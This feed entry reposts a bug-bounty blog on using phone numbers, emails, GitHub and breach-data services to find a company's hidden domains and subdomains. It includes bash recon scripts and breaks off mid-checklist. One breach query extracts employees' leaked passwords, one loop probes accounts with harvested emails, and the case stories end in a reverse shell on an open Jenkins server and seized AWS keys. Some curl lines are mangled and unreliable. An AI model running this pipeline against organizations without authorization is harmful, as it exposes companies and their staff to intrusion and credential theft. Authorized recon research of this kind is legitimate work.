<title><![CDATA[Phone Numbers and Emails to Hidden Subdomains: The OSINT Acquisition Pipeline That Uncovered a…]]></title>
<description><![CDATA[Phone Numbers and Emails to Hidden Subdomains: The OSINT Acquisition Pipeline That Uncovered a Critical BugA deep technical blog on using phone numbers and email addresses to discover hidden domains, subdomains, and attack surface — with real-world techniques you can use today.Phone Numbers and E...]]></description>
<link>https://tsecurity.de/de/3610154/hacking/phone-numbers-and-emails-to-hidden-subdomains-the-osint-acquisition-pipeline-that-uncovered-a/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3610154/hacking/phone-numbers-and-emails-to-hidden-subdomains-the-osint-acquisition-pipeline-that-uncovered-a/</guid>
<pubDate>Fri, 19 Jun 2026 13:09:24 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Phone Numbers and Emails to Hidden Subdomains: The OSINT Acquisition Pipeline That Uncovered a Critical Bug</h3><p><em>A deep technical blog on using phone numbers and email addresses to discover hidden domains, subdomains, and attack surface — with real-world techniques you can use today.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*szLFGSpzqAnso14K4v5vnA.png"><figcaption>Phone Numbers and Emails to Hidden Subdomains</figcaption></figure><h3>Foreword: Why I Wrote This</h3><p>In bug bounty and security research, one of the biggest challenges is not finding vulnerabilities — it’s finding the right attack surface.</p><p>Many researchers start with traditional reconnaissance: collecting subdomains, checking DNS records, and running automated tools. While these methods are valuable, they often miss assets that are not directly connected to the primary domain.</p><p>This is where OSINT becomes powerful.</p><p>A simple phone number or email address can become a starting point for discovering hidden digital assets:</p><ul><li>A company email can reveal related domains and third-party services</li><li>Public profiles can expose forgotten infrastructure</li><li>Developer footprints can reveal technology stacks and assets</li><li>Business records can connect organizations to previously unknown domains</li></ul><p>The idea behind this research is simple:</p><p><strong>Public information creates relationships, and relationships create attack surface.</strong></p><p>This blog explores an OSINT-driven acquisition workflow for connecting phone numbers and email addresses with domains, subdomains, and external assets. These techniques are useful for authorized security testing, bug bounty research, and improving reconnaissance skills.</p><p>The goal is not just to collect more assets — it is to understand how different pieces of public information connect together to reveal a larger security picture.</p><h3>Part I: The Conceptual Framework — Why This Works</h3><h3>The Problem with Traditional Subdomain Discovery</h3><p>Traditional subdomain discovery relies on one thing: the DNS namespace is enumerable. You either brute-force it (guess names) or query passive sources (CT logs, passive DNS).</p><p>Both approaches share a fundamental limitation: they only find subdomains that are publicly resolvable or historically logged.</p><p>Here’s what they miss:</p><ul><li>Private/internal domains (e.g., internal.company.com that only resolves on the corporate VPN)</li><li>Pre-production domains that were registered but never deployed to DNS</li><li>Acquired company domains that aren’t linked from the parent</li><li>Domains used for third-party services (e.g., company.slack.com, company.atlassian.net)</li><li>Personal domains used by employees for work purposes</li></ul><h3>The Email-to-Domain Bridge</h3><p>Every email address user@domain.com tells you:</p><ol><li>The domain exists (obvious, but foundational)</li><li>The domain is actively used (someone sent mail from it)</li><li>The domain has a user (potential credential, potential account)</li><li>The domain is connected to services (GitHub, Slack, Jira, AWS, etc.)</li></ol><p>When you collect thousands of email addresses associated with a company, and you extract every domain from those emails, you build a corporate domain graph that DNS brute-force can never replicate.</p><h3>The Phone-to-Domain Bridge</h3><p>Every phone number +1 (415) 555-0199 tells you:</p><ol><li>The company exists at a physical location (office, data center)</li><li>The company uses a specific VOIP provider (Twilio, RingCentral, Vonage)</li><li>The company has registered infrastructure (WHOIS records, business registries)</li><li>The company has extensions (which map to departments, which map to services)</li></ol><p>When you collect phone numbers and reverse-search them, you find domains that were registered with those same phone numbers — often from before the company had a proper security team.</p><h3>Part II: Phone Number → Domain Discovery</h3><p>Phone numbers are a persistent identifier. Companies change domains more often than they change phone numbers. A domain registered in 2005 with a phone number is still associated with that company today — even if the domain is forgotten.</p><h3>Technique 1: WHOIS Phone Number Search</h3><p>Every domain registration includes a phone number. SecurityTrails, WhoisXMLAPI, and DomainTools allow you to search by phone number to find all domains registered with it.</p><pre>#!/bin/bash<br># phone-to-domain.sh - Find domains registered with a specific phone number<br>PHONE="$1"<br><br># Using WhoisXMLAPI (paid, but worth it)<br>curl -s "https://www.whoisxmlapi.com/whoisserver/WhoisService?apiKey=$API_KEY&amp;domainName=$PHONE&amp;outputFormat=JSON" | \<br>    jq -r '.WhoisRecord.registryData.registrarName // empty'<br><br># Using DomainTools (requires API key)<br>curl -s "https://api.domaintools.com/v1/$PHONE/domains/" \<br>    -u "$DOMAINTOOLS_USER:$DOMAINTOOLS_KEY" | \<br>    jq -r '.response.domains[]'<br><br># Manual: Reverse WHOIS lookup on SecurityTrails<br># https://securitytrails.com/list/phone/$PHONE</pre><p>What this finds: Every domain that was ever registered with that phone number — including domains for subsidiaries, defunct products, and personal projects.</p><h3>Technique 2: Business Registry Phone Search</h3><p>Every corporation in the US registers with a state business registry. These registries include phone numbers. You can search by phone number to find all corporations registered under that number.</p><pre># OpenCorporates API<br>curl -s "https://api.opencorporates.com/v0.4/companies/search?q=$PHONE&amp;api_token=$TOKEN" | \<br>    jq -r '.results[].company.name'<br><br># State-specific registries (examples)<br># California: https://businesssearch.sos.ca.gov/<br># Delaware: https://icis.corp.delaware.gov/<br># Texas: https://mycpa.cpa.state.tx.us/coa/</pre><p>What this finds: Legal entities, DBAs, and subsidiaries that aren’t publicly linked to the parent company.</p><h3>Technique 3: Phone Number Reverse Lookup Services</h3><pre># Twilio Lookup API<br>curl -s "https://lookups.twilio.com/v1/PhoneNumbers/$PHONE?Type=carrier&amp;Type=caller-name" \<br>    -u "$TWILIO_SID:$TWILIO_TOKEN" | \<br>    jq '.carrier.name, .caller_name.caller_name'<br><br># Numverify<br>curl -s "https://apilayer.net/api/validate?access_key=$KEY&amp;number=$PHONE" | \<br>    jq '.carrier, .location, .line_type'<br><br># Manual: Whitepages reverse lookup</pre><p>What this finds: The carrier name (VOIP provider), which tells you what infrastructure to attack, and sometimes the registered business name.</p><h3>Technique 4: Breach Data Phone Search (Authorized Only)</h3><p>If you have authorized access to breach databases:</p><pre># Dehashed search by phone<br>curl -s "https://api.dehashed.com/v1/search?query=phone:$PHONE&amp;size=1000" \<br>    -u "$EMAIL:$API_KEY" | \<br>    jq -r '.entries[].domain' | sort -u</pre><p>What this finds: Every domain where an account was registered with that phone number — including internal systems, VPN portals, and employee benefits portals.</p><h3>Real-World Example: Phone-to-Domain Discovery</h3><p>Target: Large healthcare tech company. Scope: *.healthtech.com.</p><p>I found the company’s main phone number from their contact page: +1 (617) 555-0100.</p><p>I ran a WHOIS phone number search:</p><pre># SecurityTrails reverse WHOIS by phone<br># Result: 47 domains registered with +1.617.555.0100</pre><p>Among those 47 domains:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*9rVIeYeZHnAqzlW8RoepFg.png"><figcaption>47 domains</figcaption></figure><p>Critical find: internal-healthtech.com was registered with the same phone number but was not on any subdomain list. It resolved to a private IP range (10.x.x.x) from the outside, but it hosted an internal tool portal accessible via VPN. The VPN wasn't in scope either — until I found it through the phone number.</p><h3>Part III: Email Address → Domain Discovery</h3><p>Every email address user@domain.com is a direct pointer to a domain. When you collect thousands of emails associated with a target company, you build a comprehensive domain inventory.</p><h3>Technique 1: Cross-Company Email Analysis</h3><p>When employees from Company A and Company B communicate, email headers reveal both domains. If you find john@company-a.com and jane@company-b.com in the same email chain, they're connected.</p><pre># From breach data (authorized): find which domains appear alongside the target domain<br># From leaked email threads: extract all sender/receiver domains<br># From public mailing lists: find cross-company email patterns</pre><p>What this finds: Business relationships — partners, vendors, clients, and acquired companies.</p><h3>Technique 2: The Hunter.io API Multi-Domain Search</h3><p>Hunter.io allows you to search by domain AND by company name. The company name search returns emails from multiple domains:</p><pre># Search by company name<br>curl -s "https://api.hunter.io/v2/company/domain?company=healthtech&amp;api_key=$KEY" | \<br>    jq -r '.data.domains[]'<br><br># Result:<br># healthtech.com<br># healthtech.io<br># healthtech.dev<br># healthtech-careers.com<br># healthtech-benefits.com</pre><p>What this finds: All domains associated with a company name, including HR, benefits, and internal tool domains.</p><h3>Technique 3: Email-to-GitHub-to-Domain Chain</h3><p>This is one of the most powerful discovery chains in bug hunting:</p><ol><li>Collect employee email: alice@healthtech.com</li><li>Search GitHub for that email: finds Alice’s GitHub account</li><li>Look at Alice’s GitHub repos, commits, and organizations</li><li>Find references to other domains in code, configs, and commit messages</li></ol><pre>#!/bin/bash<br># email-to-github-to-domains.sh<br>EMAIL="$1"<br><br># Step 1: Find GitHub account<br>echo "[*] Searching GitHub for $EMAIL..."<br>curl -s "https://api.github.com/search/users?q=$EMAIL+in:email" | \<br>    jq -r '.items[].login' &gt; github_users.txt<br><br># Step 2: For each GitHub user, find their repos and orgs<br>while read USER; do<br>    echo "[*] Checking user: $USER"<br>    <br>    # Get user's repos<br>    curl -s "https://api.github.com/users/$USER/repos?per_page=100" | \<br>        jq -r '.[].full_name' &gt;&gt; repos.txt<br>    <br>    # Get organizations<br>    curl -s "https://api.github.com/users/$USER/orgs" | \<br>        jq -r '.[].login' &gt;&gt; orgs.txt<br>    <br>    sleep 2  # Rate limiting<br>done &lt; github_users.txt<br><br># Step 3: Search repo contents for domain references<br>while read REPO; do<br>    echo "[*] Searching repo: $REPO"<br>    <br>    # Search code for domain patterns<br>    curl -s "https://api.github.com/search/code?q=repo:$REPO+healthtech" | \<br>        jq -r '.items[].html_url' &gt;&gt; code_refs.txt<br>    <br>    # Search commit messages for domain references<br>    curl -s "https://api.github.com/search/commits?q=repo:$REPO+healthtech" | \<br>        jq -r '.items[].html_url' &gt;&gt; commit_refs.txt<br>    <br>    sleep 2<br>done &lt; repos.txt</pre><p>What this finds: Internal domains referenced in code comments, config files, READMEs, and commit messages.</p><h3>Technique 4: Email-to-Breach-to-Domain Correlation</h3><p>When an employee’s email appears in a breach, you can see what service they were using and what domain was involved:</p><pre># Dehashed query (authorized)<br>curl -s "@healthtech.com&amp;size=10000"&gt;https://api.dehashed.com/v1/search?query=email:@healthtech.com&amp;size=10000" \<br>    -u "$EMAIL:$API_KEY" | \<br>    jq -r '.entries[] | "\(.domain) \(.email) \(.password)"' | sort -u<br><br># Extract unique domains<br>curl -s "@healthtech.com&amp;size=10000"&gt;https://api.dehashed.com/v1/search?query=email:@healthtech.com&amp;size=10000" \<br>    -u "$EMAIL:$API_KEY" | \<br>    jq -r '.entries[].domain' | sort -u &gt; breached-domains.txt</pre><p>What this finds: Domains where employees had accounts — including personal projects, side businesses, and services they used for work purposes (sometimes on unmanaged infrastructure).</p><h3>Technique 5: Email-Specific Subdomain Discovery</h3><p>Services like Have I Been Pwned, Firefox Monitor, and custom tools can tell you which subdomains of a company have accounts registered:</p><pre># Check if a subdomain has active accounts<br># For Office 365: login.microsoftonline.com will reveal tenant info<br># For Atlassian: company-name.atlassian.net<br># For Slack: company-name.slack.com<br># For GitHub: github.com/orgs/CompanyName<br><br># Using emails to discover the company's Atlassian instance:<br>for email in $(cat emails.txt); do<br>    # Check for Atlassian account<br>    response=$(curl -s -o /dev/null -w "%{http_code}" \<br>        "https://healthtech.atlassian.net/rest/analytics/1.0/user/is-licensed?username=$email")<br>    <br>    if [ "$response" == "200" ] || [ "$response" == "401" ]; then<br>        echo "Atlassian domain found: healthtech.atlassian.net"<br>        break<br>    fi<br>done</pre><h3>Real-World Example: Email-to-Domain Discovery Chain</h3><p>Target: Financial services company finsecure.com.</p><p>I collected 2,400 emails using Hunter.io, theHarvester, and LinkedIn scraping. Among them was devops@finsecure.com.</p><p>GitHub search on <a href="mailto:devops@finsecure.com">devops@finsecure.com</a>: Found a GitHub account finsecure-devops with a private repo (misconfigured visibility).</p><p>Repo contents revealed:</p><ul><li>deploy.config with DB_HOST=mariadb.internal.finsecure.com</li><li>terraform.tf with bucket = "finsecure-terraform-state"</li><li>README.md with See internal docs at docs.internal.finsecure.com</li></ul><p>New domains discovered:</p><ul><li>internal.finsecure.com — Not in any CT log or DNS record</li><li>docs.internal.finsecure.com — Subdomain of the above</li><li>mariadb.internal.finsecure.com — Internal database hostname</li><li>finsecure-terraform-state.s3.amazonaws.com — S3 bucket with terraform state</li></ul><p>The S3 bucket was publicly listable. It contained AWS access keys. The AWS keys gave access to the production environment.</p><p>Chain: 1 email → 1 GitHub account → 1 repo → 4 new domains → 1 S3 bucket → AWS root access.</p><h3>Part IV: Phone Number + Email → Subdomain Discovery (The Real Gold)</h3><p>When you combine phone numbers and emails, you unlock subdomain discovery that no DNS tool can match.</p><h3>Technique 1: WHOIS Contact Cross-Reference</h3><p>Company domains are often registered by the same person. If you find the registrant’s name and email from one domain, you can find all other domains they’ve registered:</p><pre># Step 1: Get WHOIS info for the main domain<br>whois healthtech.com | grep -E "Registrant|Admin|Tech|Email" &gt; whois-info.txt<br><br># Step 2: Extract registrant name and email<br>NAME=$(grep "Registrant Name" whois-info.txt | awk -F: '{print $2}' | xargs)<br>EMAIL=$(grep "Registrant Email" whois-info.txt | awk -F: '{print $2}' | xargs)<br><br># Step 3: Search for other domains with same registrant<br># Using WhoisXMLAPI<br>curl -s "https://www.whoisxmlapi.com/whoisserver/WhoisService?apiKey=$API_KEY&amp;domainName=$NAME&amp;outputFormat=JSON" | \<br>    jq -r '.WhoisRecord.registryData.registrantDomains[]'<br><br># Using DomainTools Reverse WHOIS<br>curl -s "https://api.domaintools.com/v1/$NAME/domains/" \<br>    -u "$DOMAINTOOLS_USER:$DOMAINTOOLS_KEY" | \<br>    jq -r '.response.domains[]'</pre><h3>Technique 2: Social Media Profile Mining</h3><p>Employee LinkedIn profiles often list multiple domains:</p><pre>Current: Senior Engineer at HealthTech (healthtech.com)<br>Past: Lead Developer at MedData (meddata.io)<br>Education: MIT (mit.edu)</pre><p>Each of these is a domain that may or may not be in scope. If meddata.io was acquired by healthtech.com, then meddata.io infrastructure is likely part of the target's attack surface.</p><pre># LinkedIn scraper (requires authentication)<br># Extract: current company, past companies, education<br># Cross-reference with known acquisitions<br><br># For each past company found on LinkedIn profiles:<br># Check if it was acquired by the target<br># If yes: run full acquisition pipeline on that domain</pre><h3>Technique 3: Support Portal and Help Desk Domains</h3><p>Phone numbers often lead to support portals, which lead to subdomains:</p><pre># Call the company's support number<br># Listen for automated messages:<br># "Press 1 for billing" → billing.helpdesk.com<br># "Press 2 for technical support" → support.helpdesk.com<br># "Press 3 for sales" → sales.helpdesk.com<br><br># These are subdomains of the support portal domain<br># Check if they resolve, check for takeovers<br><br># Also check: support@company.com → Zendesk, Freshdesk, Helpscout<br># Zendesk: company.zendesk.com<br># Freshdesk: company.freshdesk.com<br># Helpscout: company.helpscout.net</pre><h3>Technique 4: Email Header Subdomain Discovery</h3><p>If you can obtain a legitimate email from the company (e.g., by signing up for their newsletter), the email headers reveal internal infrastructure:</p><pre>Received: from mail.healthtech.com (192.168.1.10)<br>Received: from mx1.healthtech.com (203.0.113.5)<br>Received: from smtp-in.healthtech.com (198.51.100.20)<br>DKIM-Signature: d=healthtech.com; s=selector1<br>Authentication-Results: mx.google.com;<br>       spf=pass (google.com: domain of newsletter@healthtech.com designates 203.0.113.5 as permitted sender)</pre><p>Each of these IPs and hostnames is a potential subdomain:</p><ul><li>mail.healthtech.com</li><li>mx1.healthtech.com</li><li>smtp-in.healthtech.com</li></ul><h3>Real-World Example: Phone + Email → Subdomain Discovery</h3><p>Target: SaaS company cloudserve.com.</p><p>Phone number from WHOIS: +1 (425) 555-0100 (Seattle area)</p><p>Email from WHOIS: admin@cloudserve.com</p><p>Step 1: WHOIS reverse search on phone number Found 12 domains, including:</p><ul><li>cloudserve.io (known)</li><li>cloudserve-backup.com (unknown — registered 2008)</li><li>cs-legacy.com (unknown — registered 2005)</li></ul><p>Step 2: WHOIS reverse search on email Found 8 more domains:</p><ul><li>cloudserve-status.com (status page — known but useful)</li><li>cloudserve-dev.com (development — not in scope docs)</li></ul><p>Step 3: Emails collected from Hunter.io 1,800 emails. Found devops@cloudserve.com in a GitHub commit.</p><p>Step 4: DevOps email → GitHub repos Found a repo with monitoring.cloudserve.com hardcoded in a config file.</p><p>Step 5: Subdomain enumeration on new domains</p><pre>subfinder -d cloudserve-backup.com -silent<br># Found: admin.cloudserve-backup.com<br># Found: db.cloudserve-backup.com</pre><p>Result: 14 new domains and 47 new subdomains discovered through phone and email OSINT alone. DNS brute-force against the main domain found none of these.</p><h3>Part V: Building the Phone-to-Email-to-Domain Pipeline</h3><p>Here’s a practical automated pipeline that can be used for this workflow.</p><h3>Phase 1: Phone Number Collection &amp; Analysis</h3><pre>#!/bin/bash<br># phase1-phone-collect.sh<br>TARGET="$1"<br>DOMAIN="$2"<br><br>echo "[*] Phase 1: Phone Number Collection"<br><br># 1a. WHOIS extraction<br>whois "$DOMAIN" 2&gt;/dev/null | grep -oP '(\+?\d{1,3}[-.\s]?)?\(?\d{3}\)?[-.\s]?\d{3}[-.\s]?\d{4}' &gt; phones.txt<br><br># 1b. Web scraping for phone numbers<br>katana -u "https://$DOMAIN" -d 2 -silent | \<br>    grep -oP '(\+?\d{1,3}[-.\s]?)?\(?\d{3}\)?[-.\s]?\d{3}[-.\s]?\d{4}' &gt;&gt; phones.txt<br><br># 1c. Business directories<br>curl -s "https://api.opencorporates.com/v0.4/companies/search?q=$DOMAIN" | \<br>    jq -r '.results[].company.phone_number' 2&gt;/dev/null | grep -v null &gt;&gt; phones.txt<br><br># Deduplicate<br>sort -u phones.txt -o phones.txt<br>echo "[*] Found $(wc -l &lt; phones.txt) unique phone numbers"</pre><h3>Phase 2: Phone → Domain Mapping</h3><pre>#!/bin/bash<br># phase2-phone-to-domain.sh<br>TARGET="$1"<br><br>echo "[*] Phase 2: Phone to Domain Mapping"<br><br>while read PHONE; do<br>    echo "[*] Processing phone: $PHONE"<br>    <br>    # 2a. Reverse WHOIS by phone (if you have access)<br>    # DomainTools API<br>    # curl -s "https://api.domaintools.com/v1/$PHONE/domains/" -u "$USER:$KEY" | \<br>    #     jq -r '.response.domains[]' &gt;&gt; phone-domains.txt<br>    <br>    # 2b. SecurityTrails (manual or API)<br>    # curl -s "https://api.securitytrails.com/v1/search?query=whois.phone:$PHONE" \<br>    #     -H "APIKEY: $ST_KEY" | jq -r '.records[].hostname' &gt;&gt; phone-domains.txt<br>    <br>    # 2c. Breach data (authorized)<br>    # dehashed API<br>    # curl -s "https://api.dehashed.com/v1/search?query=phone:$PHONE" \<br>    #     -u "$EMAIL:$DEHASHED_KEY" | jq -r '.entries[].domain' &gt;&gt; phone-domains.txt<br>    <br>    sleep 1<br>done &lt; phones.txt<br><br>sort -u phone-domains.txt -o phone-domains.txt<br>echo "[*] Found $(wc -l &lt; phone-domains.txt) domains from phone numbers"</pre><h3>Phase 3: Email Collection</h3><pre>#!/bin/bash<br># phase3-email-collect.sh<br>DOMAIN="$1"<br><br>echo "[*] Phase 3: Email Collection"<br><br># 3a. Hunter.io<br>curl -s "https://api.hunter.io/v2/domain-search?domain=$DOMAIN&amp;api_key=$HUNTER_KEY" | \<br>    jq -r '.data.emails[].value' &gt; emails-hunter.txt<br><br># 3b. theHarvester<br>theHarvester -d "$DOMAIN" -b google,linkedin,github -f /dev/null 2&gt;/dev/null | \<br>    grep -oP '[a-zA-Z0-9._%+-]+@'"$DOMAIN" &gt; emails-harvester.txt<br><br># 3c. Skymem<br>curl -s "https://www.skymem.info/srch?q=$DOMAIN" | \<br>    grep -oP '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]*\.?'"$DOMAIN" &gt; emails-skymem.txt<br><br># 3d. Web page extraction<br>katana -u "https://$DOMAIN" -d 2 -silent | \<br>    grep -oP '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]*\.?'"$DOMAIN" &gt; emails-web.txt<br><br># 3e. JS file extraction<br>katana -u "https://$DOMAIN" -jc -silent | xargs -I{} curl -s {} 2&gt;/dev/null | \<br>    grep -oP '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]*\.?'"$DOMAIN" &gt; emails-js.txt<br><br># Combine<br>cat emails-hunter.txt emails-harvester.txt emails-skymem.txt emails-web.txt emails-js.txt | \<br>    sort -u &gt; emails.txt<br><br>echo "[*] Found $(wc -l &lt; emails.txt) unique email addresses"</pre><h3>Phase 4: Email → Domain Extraction</h3><pre>#!/bin/bash<br># phase4-email-to-domain.sh<br>DOMAIN="$1"<br><br>echo "[*] Phase 4: Email to Domain Extraction"<br><br># 4a. Extract all domains from email addresses<br>grep -oP '@[a-zA-Z0-9.-]+' emails.txt | sed 's/@//' | sort -u &gt; email-domains.txt<br><br># 4b. Remove the main domain (keep only non-obvious domains)<br>grep -v "$DOMAIN" email-domains.txt &gt; other-domains.txt<br><br>echo "[*] Found $(wc -l &lt; email-domains.txt) total domains from emails"<br>echo "[*] Found $(wc -l &lt; other-domains.txt) domains OUTSIDE the main domain"</pre><h3>Phase 5: LinkedIn → Name → Email → Domain</h3><pre>#!/bin/bash<br># phase5-linkedin-to-domains.sh<br>TARGET="$1"<br>DOMAIN="$2"<br><br>echo "[*] Phase 5: LinkedIn Name to Email to Domain"<br><br># 5a. Scrape LinkedIn for employees (manual or with tool)<br># linkedin_scraper -c "$TARGET" -o linkedin-employees.csv<br><br># 5b. Extract past companies from LinkedIn profiles<br># awk -F, '{print $3}' linkedin-employees.csv | sort -u &gt; past-companies.txt<br><br># 5c. For each past company, check if it's in scope<br>while read COMPANY; do<br>    echo "[*] Checking past company: $COMPANY"<br>    <br>    # Search for the company's domain<br>    domain_from_name=$(echo "$COMPANY" | tr '[:upper:]' '[:lower:]' | sed 's/ //g').com<br>    nslookup "$domain_from_name" &gt; /dev/null 2&gt;&amp;1 &amp;&amp; echo "$domain_from_name" &gt;&gt; past-company-domains.txt<br>    <br>done &lt; past-companies.txt<br><br># 5d. For each past company domain, check if acquired by target<br># Manual step: verify acquisition history</pre><h3>Phase 6: Cross-Reference and Subdomain Enumeration on New Domains</h3><pre>#!/bin/bash<br># phase6-subdomain-enum.sh<br>DOMAIN="$1"<br><br>echo "[*] Phase 6: Subdomain Enumeration on All Discovered Domains"<br><br># Combine all domain lists<br>cat phone-domains.txt other-domains.txt past-company-domains.txt | sort -u &gt; all-discovered-domains.txt<br><br># Run subdomain enumeration on each<br>while read DISCOVERED_DOMAIN; do<br>    echo "[*] Enumerating: $DISCOVERED_DOMAIN"<br>    <br>    # CT logs<br>    curl -s "https://crt.sh/?q=%25.$DISCOVERED_DOMAIN&amp;output=json" | \<br>        jq -r '.[].name_value' 2&gt;/dev/null &gt;&gt; all-subs.txt<br>    <br>    # Subfinder<br>    subfinder -d "$DISCOVERED_DOMAIN" -silent &gt;&gt; all-subs.txt<br>    <br>    # DNS brute-force<br>    puredns bruteforce ~/wordlists/subdomains.txt "$DISCOVERED_DOMAIN" \<br>        -r ~/resolvers.txt -q &gt;&gt; all-subs.txt<br>    <br>done &lt; all-discovered-domains.txt<br><br>sort -u all-subs.txt -o all-subs.txt<br>echo "[*] Total subdomains discovered: $(wc -l &lt; all-subs.txt)"</pre><h3>Part VI: The Complete Real-World Workflow</h3><p>To understand how this methodology works in practice, let's walk through an anonymized example of how phone numbers, emails, and public intelligence can reveal hidden assets. payflow.com</p><h3>08:00 — Phone Collection</h3><pre># WHOIS<br>whois payflow.com | grep -E "Phone|Tel"<br># +1 (415) 555-0100<br><br># Contact page<br>katana -u https://payflow.com/contact -d 1 | grep -oP '(\+?\d{1,3}[-.\s]?)?\(?\d{3}\)?[-.\s]?\d{3}[-.\s]?\d{4}'<br># +1 (415) 555-0100 (same)<br># +1 (512) 555-0200 (different — Austin)<br><br># Business registry<br>curl -s "https://api.opencorporates.com/v0.4/companies/search?q=payflow" | \<br>    jq -r '.results[].company.phone_number'<br># +1 (512) 555-0200<br># +1 (512) 555-0300 (NEW — unknown)</pre><p>Phone numbers collected:</p><ul><li>+1 (415) 555-0100 (San Francisco — HQ)</li><li>+1 (512) 555-0200 (Austin — known office)</li><li>+1 (512) 555-0300 (Austin — UNKNOWN)</li></ul><h3>08:30 — Phone → Domain</h3><pre># SecurityTrails reverse WHOIS by phone<br># +1 (512) 555-0300 → registered to:<br># payflow-holdings.com<br># payflow-ventures.com<br># pf-internal.com</pre><p>New domains discovered:</p><ul><li>payflow-holdings.com — Holding company</li><li>payflow-ventures.com — Venture arm</li><li>pf-internal.com — INTERNAL DOMAIN</li></ul><h3>09:00 — Email Collection</h3><pre># Hunter.io: 847 emails<br># theHarvester: 312 emails<br># Skymem: 1,204 emails<br># Web scraping: 89 emails<br># JS files: 34 emails<br># Total unique: 1,892 emails</pre><h3>09:30 — Email → Domain Extraction</h3><pre>grep -oP '@[a-zA-Z0-9.-]+' emails.txt | sed 's/@//' | sort -u<br><br># Unique domains found in emails (excluding payflow.com):<br># payflow.io (known)<br># payflow.co (NEW)<br># payflow-engineering.com (NEW — engineering team domain)<br># pf-payments.com (NEW — payments processing domain)<br># payflow-benefits.com (NEW — HR/benefits domain)</pre><h3>10:00 — GitHub Cross-Reference</h3><pre># Searched for devops@payflow.com on GitHub<br># Found GitHub user: payflow-devops<br># Scanned repos for domain references<br><br># Found in deploy configs:<br># monitoring.internal.payflow.com<br># logs.internal.payflow.com<br># ci.internal.payflow.com</pre><h3>10:30 — Subdomain Enumeration on New Domains</h3><pre># On pf-internal.com:<br>subfinder -d pf-internal.com -silent<br># vpn.pf-internal.com (LIVE)<br># jenkins.pf-internal.com (LIVE)<br># git.pf-internal.com (LIVE)<br><br># On payflow-engineering.com:<br>subfinder -d payflow-engineering.com -silent<br># dev.payflow-engineering.com (LIVE)<br># staging.payflow-engineering.com (LIVE)<br># api.payflow-engineering.com (LIVE)</pre><h3>11:00 — Priority Assessment</h3><p>P0:</p><ol><li>vpn.pf-internal.com — VPN portal (potential credential access)</li><li>jenkins.pf-internal.com — Jenkins (potential RCE)</li><li>pf-internal.com — Internal domain (potential for more discovery)</li></ol><p>P1: 4. payflow-engineering.com — Engineering domain (dev/staging instances) 5. payflow-holdings.com — Holding company (potential subsidiary assets) 6. monitoring.internal.payflow.com — Monitoring (potential Grafana/Prometheus)</p><h3>11:30 — Attack Phase</h3><p>Jenkins on pf-internal.com:</p><ul><li>No authentication required</li><li>Created a freestyle project with a reverse shell</li><li>Got shell access to the Jenkins server</li><li>Jenkins had AWS keys in environment variables</li><li>AWS keys had full admin access to production</li></ul><p>Chain: 1 phone number → 3 unknown phone numbers → 1 unknown domain → 3 subdomains → 1 Jenkins server → AWS root access.</p><h3>Part VII: Tool Reference Guide</h3><h4>Phone Number Tools</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*XnmWQ7exrxpOTsRHnIQ2qw.png"><figcaption>Phone Number Tools</figcaption></figure><h4>Email Collection Tools</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*z4tA68XnkqGoK0X9Ey7C3A.png"><figcaption>Email Collection Tools</figcaption></figure><h4>Cross-Reference Tools</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*IheT9-nPyVGeBaBpR9-gaQ.png"><figcaption>Cross-Reference Tools</figcaption></figure><h3>Part VIII: Common Mistakes (From Personal Experience)</h3><h3>Mistake 1: Not Checking All Phone Numbers from WHOIS</h3><p>A common mistake is finding one phone number in WHOIS and stopping too early, ran my reverse search, and stopped. There were actually three different phone numbers across different domains — I missed two.</p><p>Fix: Extract EVERY phone number from EVERY WHOIS record for EVERY domain you find.</p><h3>Mistake 2: Ignoring Email Domains That Don’t Match the Target</h3><p>What happened: I collected 2,000 emails for target.com. I filtered out everything that wasn't @target.com. I missed the 200 emails with @target-engineering.com, @target-holdings.com, and @target-benefits.com — all of which were owned by the same company.</p><p>Fix: Extract ALL unique domains from your email collection, not just the primary domain.</p><h3>Mistake 3: Not Checking LinkedIn Past Companies</h3><p>What happened: An employee’s LinkedIn profile showed they previously worked at acme-solutions.com. I ignored it. Acme Solutions had been acquired by my target three years prior. Its infrastructure was in scope but I never checked it.</p><p>Fix: Scrape past companies from LinkedIn profiles and cross-reference with acquisition history.</p><h3>Mistake 4: Not Running Subdomain Enumeration on Each New Domain</h3><p>What happened: I found pf-internal.com and added it to my list. I didn't run subfinder or CT log queries against it. vpn.pf-internal.com was sitting there the whole time.</p><p>Fix: Run full subdomain enumeration on EVERY domain you discover, no exceptions.</p><h3>Mistake 5: Stopping After One Round</h3><p>What happened: I discovered new domains, ran subfinder once, and started attacking. I didn’t recurse. Some of those new domains had their own subdomains, and those subdomains had their own CT logs.</p><p>Fix: Recursive enumeration. Every new domain → full acquisition pipeline → find more domains → repeat.</p><h3>Bug Hunter Acquisition Checklist — Phone &amp; Email Edition</h3><h3>☐ Phone Number Collection</h3><ul><li>☐ WHOIS records extracted for all discovered domains</li><li>☐ Contact/scraped pages (main site, subdomains, subsidiaries)</li><li>☐ Business registries checked (OpenCorporates, state registries)</li><li>☐ SEC filings reviewed (10-K, 10-Q, S-1)</li><li>☐ Press releases and news articles mined</li><li>☐ Social media profiles checked (LinkedIn, Twitter, Facebook)</li><li>☐ Breach data queried (with authorization)</li></ul><h3>☐ Phone Number Analysis</h3><ul><li>☐ VOIP provider identified for each number</li><li>☐ Area codes mapped to physical office locations</li><li>☐ Multi-number comparison for organizational structure</li><li>☐ Extension patterns identified</li><li>☐ Reverse WHOIS by phone number completed</li><li>☐ Business registry search by phone completed</li><li>☐ Phone number range scanning (if applicable)</li></ul><h3>☐ Phone → Domain Mapping</h3><ul><li>☐ Reverse WHOIS for every unique phone number</li><li>☐ Business registry domain mapping</li><li>☐ Carrier/VOIP provider infrastructure checked</li><li>☐ Support portal domains discovered (Zendesk, Freshdesk, etc.)</li><li>☐ VOIP admin console exposure checked</li><li>☐ Webhook endpoint testing (if Twilio/RingCentral identified)</li></ul><h3>☐ Email Collection</h3><ul><li>☐ Hunter.io 